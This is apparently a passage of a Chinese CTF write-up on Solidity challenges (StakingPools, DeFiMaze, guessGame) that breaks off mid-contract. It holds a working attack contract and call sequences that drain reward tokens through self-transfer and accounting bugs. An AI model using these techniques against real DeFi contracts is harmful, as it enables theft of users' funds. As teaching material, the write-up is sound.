* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]])
- (user.rewardDebt[rewardTokens[i]]);
if (pending > 0) {
if (pending > ERC20(rewardTokens[i]).balanceOf(address(this))) {
pending = ERC20(rewardTokens[i]).balanceOf(address(this));
}
ERC20(rewardTokens[i]).transfer(
address(msg.sender),
pending
);
}
}
}

if (_amount > 0) {
user.amount = user.amount + (_amount);
ERC20(stakedToken).transferFrom(
address(msg.sender),
address(this),
_amount
);
_mint(address(msg.sender), _amount);
}
for (uint256 i = 0; i < rewardTokens.length; i++) {
user.rewardDebt[rewardTokens[i]] = user
.amount
* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]]);
}

user.lastStakingBlock = block.number;

emit Deposit(msg.sender, _amount);
}

/*
* @notice Withdraw staked tokens and collect reward tokens
* @param _amount: amount to withdraw (in rewardToken)
*/
function withdraw(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "Amount to withdraw too high");
// require(stakingEndBlock + 3600 * 24 * 7 >= block.number, "Withdraw has ended");

_updatePool();

// uint256 pending = user.amount * (accTokenPerShare) / (PRECISION_FACTOR) - (user.rewardDebt);
uint256 pending;
for (uint256 i = 0; i < rewardTokens.length; i++) {
pending = user
.amount
* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]])
- (user.rewardDebt[rewardTokens[i]]);
if (pending > 0) {
if (pending > ERC20(rewardTokens[i]).balanceOf(address(this))) {
pending = ERC20(rewardTokens[i]).balanceOf(address(this));
}
ERC20(rewardTokens[i]).transfer(address(msg.sender), pending);
}
}
if (_amount > 0) {
user.amount = user.amount - (_amount);
_burn(address(msg.sender), _amount);
ERC20(stakedToken).transfer(address(msg.sender), _amount);
//_burn(address(msg.sender),_amount);
}
for (uint256 i = 0; i < rewardTokens.length; i++) {
user.rewardDebt[rewardTokens[i]] = user
.amount
* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]]);
}

emit Withdraw(msg.sender, _amount);
}

/*
* @notice Withdraw staked tokens without caring about rewards rewards
* @dev Needs to be for emergency.
*/
function emergencyWithdraw() external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
uint256 amountToTransfer = user.amount;
user.amount = 0;
for (uint256 i = 0; i < rewardTokens.length; i++) {
user.rewardDebt[rewardTokens[i]] = 0;
}

if (amountToTransfer > 0) {
ERC20(stakedToken).transfer(address(msg.sender), amountToTransfer);
}

emit EmergencyWithdraw(msg.sender, user.amount);
}

/*
* @notice Stop rewards
* @dev Only callable by owner. Needs to be for emergency.
*/
function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {
for (uint256 i = 0; i < rewardTokens.length; i++) {
ERC20(rewardTokens[i]).transfer(address(msg.sender), _amount);
}
}

/*
* @notice Stop rewards
* @dev Only callable by owner
*/
function stopReward() external onlyOwner {
bonusEndBlock = block.number;
}

/*
* @notice View function to see pending reward on frontend.
* @param _user: user address
* @return Pending reward for a given user
*/
function pendingReward(address _user)
external
view
returns (uint256[] memory, ERC20[] memory)
{
UserInfo storage user = userInfo[_user];
uint256 stakedTokenSupply = stakedToken.balanceOf(address(this));
uint256[] memory userPendingRewards = new uint256[](
rewardTokens.length
);
if (block.number > lastRewardBlock && stakedTokenSupply != 0) {
uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);
uint256 bscsReward;
uint256 adjustedTokenPerShare;
for (uint256 i = 0; i < rewardTokens.length; i++) {
bscsReward = multiplier * (rewardPerBlock[rewardTokens[i]]);
adjustedTokenPerShare = accTokenPerShare[rewardTokens[i]] + (
bscsReward * (PRECISION_FACTOR[rewardTokens[i]]) / (
stakedTokenSupply
)
);
userPendingRewards[i] = user
.amount
* (adjustedTokenPerShare)
/ (PRECISION_FACTOR[rewardTokens[i]])
- (user.rewardDebt[rewardTokens[i]]);
}
return (userPendingRewards, rewardTokens);
} else {
for (uint256 i = 0; i < rewardTokens.length; i++) {
userPendingRewards[i] = user
.amount
* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]])
- (user.rewardDebt[rewardTokens[i]]);
}
return (userPendingRewards, rewardTokens);
}
}

/*
* @notice View function to see pending reward on frontend (categorized by rewardToken)
* @param _user: user address
* @return Pending reward for a given user
*/
function pendingRewardByToken(address _user, ERC20 _token)
external
view
returns (uint256)
{
(bool foundToken, uint256 tokenIndex) = findElementPosition(
_token,
rewardTokens
);
if (!foundToken) {
return 0;
}
UserInfo storage user = userInfo[_user];
uint256 stakedTokenSupply = stakedToken.balanceOf(address(this));
uint256 userPendingReward;
if (block.number > lastRewardBlock && stakedTokenSupply != 0) {
uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);
uint256 bscsReward = multiplier * (rewardPerBlock[_token]);
uint256 adjustedTokenPerShare = accTokenPerShare[_token] + (
bscsReward * (PRECISION_FACTOR[_token]) / (
stakedTokenSupply
)
);
userPendingReward = user
.amount
* (adjustedTokenPerShare)
/ (PRECISION_FACTOR[_token])
- (user.rewardDebt[_token]);
return userPendingReward;
} else {
return
user
.amount
* (accTokenPerShare[_token])
/ (PRECISION_FACTOR[_token])
- (user.rewardDebt[_token]);
}
}
event log_keyvalue(string, uint256);
/*
* @notice Update reward variables of the given pool to be up-to-date.
*/
function _updatePool() internal {
emit log_keyvalue("lastRewardBlock", lastRewardBlock);
if (block.number <= lastRewardBlock) {
return;
}

uint256 stakedTokenSupply = stakedToken.balanceOf(address(this));
emit log_keyvalue("stakedTokenSupply", stakedTokenSupply);
if (stakedTokenSupply == 0) {
lastRewardBlock = block.number;
return;
}

uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);
emit log_keyvalue("multiplier ", multiplier);
uint256 bscsReward;
for (uint256 i = 0; i < rewardTokens.length; i++) {
bscsReward = multiplier * (rewardPerBlock[rewardTokens[i]]);
accTokenPerShare[rewardTokens[i]] = accTokenPerShare[
rewardTokens[i]
]
+ (
bscsReward * (PRECISION_FACTOR[rewardTokens[i]]) / (
stakedTokenSupply
)
);
emit log_keyvalue("accTokenPerShare rewardTokens" , accTokenPerShare[rewardTokens[i]]);
}
lastRewardBlock = block.number;
}

/*
* @notice Return reward multiplier over the given _from to _to block.
* @param _from: block to start
* @param _to: block to finish
*/
function _getMultiplier(uint256 _from, uint256 _to)
internal
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to - (_from);
} else if (_from >= bonusEndBlock) {
return 0;
} else {
return bonusEndBlock - (_from);
}
}

/*
* @notice Find element position in array.
* @param _token: token of which to find position
* @param _array: array that contains _token
*/
function findElementPosition(ERC20 _token, ERC20[] storage _array)
internal
view
returns (bool, uint256)
{
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _token) {
return (true, i);
}
}
return (false, 0);
}

//**Additional get methods for frontend use */

function getUserDebt(address _usr)
external
view
returns (ERC20[] memory, uint256[] memory)
{
uint256[] memory userDebt = new uint256[](rewardTokens.length);
UserInfo storage user = userInfo[_usr];
for (uint256 i = 0; i < rewardTokens.length; i++) {
userDebt[i] = user.rewardDebt[rewardTokens[i]];
}
return (rewardTokens, userDebt);
}

function getUserDebtByToken(address _usr, ERC20 _token)
external
view
returns (uint256)
{
UserInfo storage user = userInfo[_usr];
return (user.rewardDebt[_token]);
}

function getAllRewardPerBlock(ERC20[] memory _tokens)
external
view
returns (uint256[] memory)
{
uint256[] memory RPBlist = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
RPBlist[i] = rewardPerBlock[_tokens[i]];
}
return (RPBlist);
}

function getAllAccTokenPerShared(ERC20[] memory _tokens)
external
view
returns (uint256[] memory)
{
uint256[] memory ATPSlist = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
ATPSlist[i] = accTokenPerShare[_tokens[i]];
}
return (ATPSlist);
}

function getAllPreFactor(ERC20[] memory _tokens)
external
view
returns (uint256[] memory)
{
uint256[] memory PFlist = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
PFlist[i] = PRECISION_FACTOR[_tokens[i]];
}
return (PFlist);
}

//*Override transfer functions, allowing receipts to be transferable */

function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
UserInfo storage _sender = userInfo[_msgSender()];
UserInfo storage _receiver = userInfo[recipient];

_transfer(_msgSender(), recipient, amount);

_sender.amount = _sender.amount - (amount);
_receiver.amount = _receiver.amount + (amount);
return true;
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
UserInfo storage _sender = userInfo[sender];
UserInfo storage _receiver = userInfo[recipient];

_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance(sender, _msgSender()) - (amount)
);

_sender.amount = _sender.amount - (amount);
_receiver.amount = _receiver.amount + (amount);
return true;
}

function getStakingEndBlock() external view returns (uint256) {
return stakingEndBlock;
}

function getLastStakingBlock(address _user)
external
view
returns (uint256)
{
UserInfo storage user = userInfo[_user];
return user.lastStakingBlock;
}

}
StakingPoolsDeployment.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./StakingPools_MT.sol";
import "./ERC20V2.sol";

contract StakingPoolsDeployment {
StakingPools public stakingPools;
ERC20 public stakedToken;
ERC20 public rewardToken;
ERC20V2 public rewardToken2;
ERC20[] public rewardTokens;
address public yourAddress;

constructor() {
stakingPools = new StakingPools();

yourAddress = msg.sender;
stakedToken = new ERC20("staked Token", "sToken");
rewardToken = new ERC20("reward Token 1", "r1Token");
rewardToken2 = new ERC20V2("reward Token 2", "r1Token");
rewardTokens = new ERC20[](2);
rewardTokens[0] = rewardToken;
rewardTokens[1] = ERC20(rewardToken2);
uint256[] memory rewardPerBlock = new uint256[](2);
rewardPerBlock[0] = 100000e18;
rewardPerBlock[1] = 100000e18;
uint256[] memory startEndBlocks = new uint256[](2);
startEndBlocks[0] = block.number;
startEndBlocks[1] = block.number + 60; //bounus lasts 60 blocks
uint256[] memory stakingBlock = new uint256[](2);
stakingBlock[0] = block.number;
stakingBlock[1] = block.number + 60; //staking lasts 60 blocks

//The max reward for all users should be 10000e18 * 60 = 60000 * 1e18
stakingPools.initialize(stakedToken, rewardTokens, rewardPerBlock, startEndBlocks, stakingBlock);

//The pool has and only has 1e8 * 1e18 reward token, which is greater than 60000 * 1e18
rewardToken.mint(address(stakingPools), 1e8 * 1e18);
rewardToken2.mint(address(stakingPools), 1e8 * 1e18);
}

function faucet() external {
stakedToken.mint(msg.sender, 100000e18);
}

function stageA() public view returns(bool) {
return rewardTokens[0].balanceOf(yourAddress) == 1e8 * 1e18;
}

function stageB() public view returns(bool) {
return rewardTokens[1].balanceOf(yourAddress) > 16 * 1e8 * 1e18;
}

function isSolved() public view returns(bool) {
return stageA() && stageB();
}
}

Analysis

这道题中使用了两种合约去生成代币,其中ERC20V2合约有一个很典型的逻辑问题造成的漏洞,那就是先去获取fromto的余额,再去进行加减,而当fromto相等的时候,就可以凭空多一些余额了。

接下来就是想办法掏空StakingPools中的rewardTokens了,我们可以看到在题目中,每存入一笔token的存款,就会按照一定比例获得一笔reward的奖励,而这个逻辑在withdraw()deposit()函数中都会调用到,这看似很完美的逻辑,缺疏漏了transfer()函数,我们可以用一个用户存一笔小钱,再用另一个账户存一笔大钱,再将这笔大钱转入小钱的账户中,这样就可以使得第一个用户获得这个池子中所有的rewardTokens

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./ERC20.sol";
import "./ERC20V2.sol";
import "./StakingPools_MT.sol";
import "./StakingPoolsDeployment.sol";

contract StakingPoolAttack{
StakingPools public stakingPools;
ERC20 public stakedToken;
ERC20 public rewardToken;
ERC20V2 public rewardToken2;
StakingPoolsDeployment public stakingPoolsDeployment;

constructor(address _addr1,address _addr2,address _addr3,address _addr4,address _addr5) {
stakingPools = StakingPools(_addr1);
stakedToken = ERC20(_addr2);
rewardToken = ERC20(_addr3);
rewardToken2 = ERC20V2(_addr4);
stakingPoolsDeployment = StakingPoolsDeployment(_addr5);
}

function DeploystakedToken() public {
stakingPoolsDeployment.faucet();
}

function DepoitToPool() public {
stakedToken.approve(address(stakingPools), 1);
stakingPools.deposit(1);//And use another user to deposit(99999). And use transfer to this
}

function withdraw() public {
stakingPools.withdraw(10000);
rewardToken2.transfer(address(this),1e8 * 1e18);
rewardToken2.transfer(address(this),2e8 * 1e18);
rewardToken2.transfer(address(this),4e8 * 1e18);
rewardToken2.transfer(address(this),8e8 * 1e18);
rewardToken2.transfer(address(this),16e8 * 1e18);
rewardToken2.transfer(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),32e8 * 1e18);
rewardToken.transfer(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),1e8 * 1e18);
}

}
exp
1
用户A调用DeploystakedToken()=>用户A调用DepoitToPool()=>用户B调用stakingPoolsDeployment.faucet()=》用户B调用stakedToken.approve(address(stakingPools), 99999);stakingPools.deposit(99999);=》用户A调用withdraw()

七.DeFiMaze

Code

SetUp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "./DeFiPlatform.sol";
import "./Vault.sol";

contract SetUp {

DeFiPlatform public platfrom ;
Vault public vault;
address public yourAddress;

constructor() {
platfrom = new DeFiPlatform();
vault = new Vault();
platfrom.setVaultAddress(address(vault));
vault.setPlatformAddress(address(platfrom));

yourAddress = msg.sender;
}

function isSolved() public view returns(bool) {
return vault.solved();
}
}
Vault.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

contract Vault {
address private owner;
address public platformAddress;
bytes32 private flagHash = 0xd6d7b0bbdbe29647e322cd45045b10516d27797eeab3f4649ca54e4ef850bcc2;
uint256 private secretThreshold = 7 ether;
bool public solved = false;

constructor() {
owner = msg.sender;
}

function setPlatformAddress(address platform) external {
require(msg.sender == owner, "No permissions!");
platformAddress = platform;
}

function processWithdrawal(address user, uint256 amount) external {
require(msg.sender == platformAddress, "Unauthorized");

if (amount == secretThreshold) {
assembly {
mstore(0, add(user, 0xdeadbeef))
sstore(keccak256(0, 32), sload(flagHash.slot))
}
} else {
payable(user).transfer(amount);
}
}

function isSolved() external{
bytes32 storedFlag;
assembly {
mstore(0, add(caller(), 0xdeadbeef))
storedFlag := sload(keccak256(0, 32))
}
if(storedFlag == flagHash){
solved = true;
}

}
}
DeFiPlatform.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;
import "./Vault.sol";


contract DeFiPlatform {
address private owner;
address public vaultAddress;
uint256 private constant RATIO = 10**18;
mapping(address => uint256) public deposits;
mapping(address => bool) private yieldCalculated;

constructor() {
owner = msg.sender;
}

function setVaultAddress(address vault) external {
require(msg.sender == owner, "No permissions!");
vaultAddress = vault;
}

function depositFunds(uint256 amount) external payable {
require(msg.value == amount, "Incorrect Ether sent");
deposits[msg.sender] += amount;
}

function calculateYield(uint256 principal, uint256 rate, uint256 time) external returns (uint256) {
uint256 yieldAmount;


assembly {
let r := add(div(rate, 100), RATIO)
let t := exp(0x100000000000000000000000000000000, mul(time, 0x10000000000000000))//time = 0即可
yieldAmount := div(mul(mul(principal, r), sub(t, RATIO)), mul(RATIO, RATIO))
}

deposits[msg.sender] += yieldAmount;
yieldCalculated[msg.sender] = true;
return yieldAmount;
}

function requestWithdrawal(uint256 amount) external {
require(deposits[msg.sender] >= amount, "Insufficient funds");
require(yieldCalculated[msg.sender], "You should calculateYield first");
Vault vault = Vault(vaultAddress);
vault.processWithdrawal(msg.sender, amount);
}
}

Analysis

这道题非常的简单,首先先看Vault合约,我们看到需要让isSolved()合约正常调用我们需要使得keccak256(0,32)的位置存储flagHash的值,这是我们会看到processWithdrawal()这个函数可以实现这个功能,而想实现这个功能就要满足两个要求,一个是调用者为platfromAddress,另一个是amount要为7 ether,要满足这两个要求我们就需要先看DeFiPlatfrom这个合约,看到这个合约我们会发现requestWithdrawal()函数可以满足这个功能,但首先我们自身的存款要有7 ether并且yieldCalculated[msg.sender]true,这时我们会看到两个函数,depositFunds()calculateYield(),前者是可以存款,后者可以使yieldCalculated[msg.sender]true,同时也能改变存款,这是我们注意到后者的汇编当中不存在溢出检测,所以我们只需要后面这个函数即可并随便输入几个参数即可。

Attack

1
platfrom.calculateYield(1,1,0)=》 platfrom.requestWithdrawal(7000000000000000000)=》vault.isSolved()

guessGame

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
// SPDX-License-Identifier: MIT
// File: openzeppelin-contracts/token/ERC20/IERC20.sol



pragma solidity ^0.8.0;

/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);

/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);

/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);

/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);

/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);

/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);

/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: openzeppelin-contracts/GSN/Context.sol



pragma solidity ^0.8.0;

/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

// File: openzeppelin-contracts/token/ERC20/ERC20.sol



pragma solidity ^0.8.0;



/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;

mapping (address => mapping (address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;
uint8 private _decimals;

/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}

/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}

/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}

/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}

/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}

/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}

/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(sender, recipient, amount);

_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}

/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply = _totalSupply + amount;
_balances[account] = _balances[account] + amount;
emit Transfer(address(0), account, amount);
}

/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

_balances[account] = _balances[account] - amount;
_totalSupply = _totalSupply - amount;
emit Transfer(account, address(0), amount);
}

/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}

/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

// File: contracts/guessgame.sol


pragma solidity 0.8.21;


contract A{
function number() pure external returns(uint256){
return 10;
}
}

contract MyToken is ERC20 {
constructor() ERC20("MyToken", "MTK") {
_mint(msg.sender,100);
}

}

contract GuessGame {
uint256 private immutable random01;
uint256 private immutable random02;
uint256 private immutable random03;
A private immutable random04;
MyToken public immutable mytoken;

constructor(A _a) {
mytoken = new MyToken();

random01 = uint160(msg.sender);
random02 = uint256(keccak256(address(new A()).code));
random03 = block.timestamp;
random04 = _a;
pureFunc();
}

function pureFunc() pure internal {
assembly{
mstore(0x80,1)
mstore(0xa0,2)
mstore(0xc0,32)
}
}

function guess(uint256 _random01, uint256 _random02, uint256 _random03, uint256 _random04) external payable returns(bool){

if(msg.value > 100 ether){
// 100 eth! you are VIP!
}else{
uint256[] memory arr;
uint256 money = msg.value;
assembly{
mstore(_random01, money)
}
require(random01 == arr.length,"wrong number01");
}

